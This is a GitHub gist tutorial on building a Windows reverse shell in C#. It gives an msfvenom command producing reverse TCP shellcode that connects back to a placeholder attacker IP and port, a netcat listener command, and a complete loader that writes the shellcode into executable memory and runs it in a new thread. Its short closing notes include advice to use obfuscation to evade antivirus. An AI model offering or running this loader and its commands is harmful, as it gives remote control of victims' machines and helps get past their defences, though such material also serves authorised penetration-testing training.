Skip to content

Instantly share code, notes, and snippets.

@anubhavg-icpl
Created May 6, 2025 07:33
Show Gist options
  • Save anubhavg-icpl/9a3d077dac30dbff67532720a31d5c84 to your computer and use it in GitHub Desktop.
Save anubhavg-icpl/9a3d077dac30dbff67532720a31d5c84 to your computer and use it in GitHub Desktop.

🛠️ Step-by-Step Guide to Creating a C# Reverse Shell

1. Generate Shellcode with msfvenom

Use msfvenom to create shellcode for a reverse TCP shell. Replace YOUR_IP with your attacker's IP address and YOUR_PORT with the desired port number:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f csharp

This command generates shellcode in C# format, which you'll embed into your C# program.


2. Set Up a Listener on the Attacker's Machine

On your attacker's machine, set up a listener to catch the reverse shell connection:

nc -lvnp YOUR_PORT

Ensure that the port number matches the one used in the shellcode generation.


3. Embed the Shellcode into a C# Program

Create a C# program that allocates memory, writes the shellcode into it, and executes it using Windows API functions. Here's the complete code:

using System;
using System.Runtime.InteropServices;

namespace ShellcodeLoader
{
    class Program
    {
        // Import necessary Windows API functions
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateThread(
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            out uint lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint WaitForSingleObject(
            IntPtr hHandle,
            uint dwMilliseconds);

        // Constants for memory allocation
        const uint MEM_COMMIT = 0x1000;
        const uint MEM_RESERVE = 0x2000;
        const uint PAGE_EXECUTE_READWRITE = 0x40;
        const uint INFINITE = 0xFFFFFFFF;

        static void Main(string[] args)
        {
            // Replace this shellcode with the one generated by msfvenom
            byte[] shellcode = new byte[] {
                /* Your shellcode bytes go here */
            };

            // Allocate memory for the shellcode
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (addr == IntPtr.Zero)
            {
                Console.WriteLine("[-] Memory allocation failed.");
                return;
            }

            // Copy shellcode to allocated memory
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);

            // Create a thread to execute the shellcode
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out uint threadId);
            if (hThread == IntPtr.Zero)
            {
                Console.WriteLine("[-] Thread creation failed.");
                return;
            }

            // Wait for the thread to finish execution
            WaitForSingleObject(hThread, INFINITE);
        }
    }
}

Replace the /* Your shellcode bytes go here */ comment with the actual shellcode bytes generated by msfvenom.


4. Compile the C# Program

Use the C# compiler (csc) to compile the program:

csc Program.cs

This command generates an executable (Program.exe) that, when run on the target machine, will establish a reverse shell connection to the attacker's listener.


⚠️ Important Considerations

  • Testing Environment: Always test in a controlled and authorized environment.
  • Antivirus Detection: Modern antivirus solutions may detect and block such activities. Consider using obfuscation techniques or alternative methods to evade detection.
  • Legal Compliance: Ensure you have explicit permission before conducting any tests. Unauthorized use of these techniques is illegal and unethical.

📚 Further Reading and Resources


By following this guide, you can create a C# program that establishes a reverse shell connection using shellcode generated by msfvenom. Remember to use these techniques responsibly and within the bounds of the law.


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment